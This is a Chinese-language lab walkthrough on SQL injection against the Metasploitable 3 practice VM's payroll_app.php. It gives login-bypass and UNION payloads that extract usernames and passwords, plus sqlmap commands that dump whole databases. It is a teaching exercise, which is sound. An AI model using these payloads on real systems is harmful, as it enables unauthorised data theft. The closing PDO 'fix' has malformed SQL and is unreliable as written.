Metasploitable 3 靶機滲透測試演練：SQL Injection 教學與範例

介紹如何使用 SQL injection 漏洞攻擊 Metasploitable 3 靶機網頁，執行滲透測試演練。

SQL Injection 攻擊演練

在安裝完 Metasploitable 3 的 Ubuntu Linux 14.04 靶機之後，這一台靶機預設會在 80 連接埠啟動網頁伺服器，我們連上這台之後，就可以看到一些內容：

這裡我們選擇 payroll_app.php 這個含有 SQL injection 漏洞的 PHP 來進行測試，打開網頁之後會看到一個輸入帳號與密碼的表單。

這個網頁的原始碼我們可以從 Metasploitable 3 的 GitHub 網站查看，由於它在處理 MySQL 指令查詢的時候，直接將表單輸入的資料嵌入 MySQL 指令中，所以導致了 SQL injection 的重大漏洞。

我們可以透過輸入以下片段 SQL 指令，繞過網頁帳號與密碼的檢查：

' OR 1=1#

在這個 PHP 指令稿中，處理 MySQL 指令的程式碼為：

# 含有 SQL Injection 漏洞的 PHP 程式碼
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

這行程式碼在正常狀況下可以運作，但是當攻擊者輸入了上述的片段 SQL 指令，就會導致最終產生的 MySQL 指令變成這樣：

select username, first_name, last_name, salary from users
  where username = '' OR 1=1#' and password = ''

因此原本的帳號與密碼檢查機制就失效了。

SQL injection 的原理很簡單，就是插入一些片段 SQL 指令，嘗試改變原始的程式邏輯，但可以有很多變化，以下這個片段 SQL 指令會造成資料庫中的帳號與密碼洩漏：

' OR 1=1 UNION SELECT null,null,username,password FROM users#

這裡所產生的 MySQL 指令會像這樣：

select username, first_name, last_name, salary from users
  where username = '' OR 1=1
  UNION SELECT null,null,username,password
  FROM users#' and password = ''

這裡使用了 UNION 將攻擊者想要取得的資訊放在原本資料的後面。

利用同樣的原理，我們就可以取得各種資料庫中的資訊，以下是取得 MySQL 伺服器的版本資訊：

' UNION SELECT null,null,null,@@version#

這台 MySQL 資料庫的版本是 5.5.62-0ubuntu0.14.04.1。

以 `sqlmap` 取得資料

SQL injection 漏洞除了讓認證失效之外，還可能造成整個資料庫的資料外洩，sqlmap 就是一個可以利用 SQL injection 漏洞來取得資料庫內容的自動化工具，以下是 sqlmap 取得整個資料庫內容的操作步驟。

先使用 sqlmap 進行基本的 SQL injection 偵測：

# 以 sqlmap 進行 SQL Injection 偵測
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK"

以 sqlmap 進行 SQL Injection 偵測 — 以 `sqlmap` 進行 SQL Injection 偵測

在偵測的過程中，sqlmap 會詢問使用者一些問題，可依照狀況來回答。

偵測完成後，會列出可用的 SQL injection 弱點，可以選擇要使用的弱點編號進行 SQL injection。

若要輸出目前所使用的資料表內容，可以使用 --dump 參數：

# 輸出目前資料庫的資料表
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" --dump

若要輸出所有資料庫的 schema 定義資訊，可以使用 --schema 參數：

# 輸出所有資料庫的 schema
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" --schema

若要輸出指定資料庫中的資料表內容，可以使用 --dump 搭配 -D 與 -T 參數來指定資料庫與資料表，例如輸出 drupal 資料庫的 users 資料表：

# 輸出 drupal 資料庫的 users 資料表
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" \
  --dump -D drupal -T users

若要將整個 MySQL 資料庫的內容全部輸出，可以使用 sqlmap 的 --dump-all 參數。

避免 SQL Injection 的解法

在 OWASP Cheat Sheet Series 中有整理了一些避免 SQL injection 的解法，方法有很多種，若採取 PDO 的方式，可以參考 (The only proper) PDO tutorial 的教學文件，修改 MySQL 連線相關的程式碼，並把原來的 PHP 產生 MySQL 指令的那一行改為這樣：

# 改用 PDO 的方式建立 MySQL 指令
$sql = $conn->prepare("SELECT FROM users (username, first_name, last_name, salary) WHERE username = :user AND password = :pass)";

SQL Injection 攻擊演練

以 sqlmap 取得資料

避免 SQL Injection 的解法

參考資料

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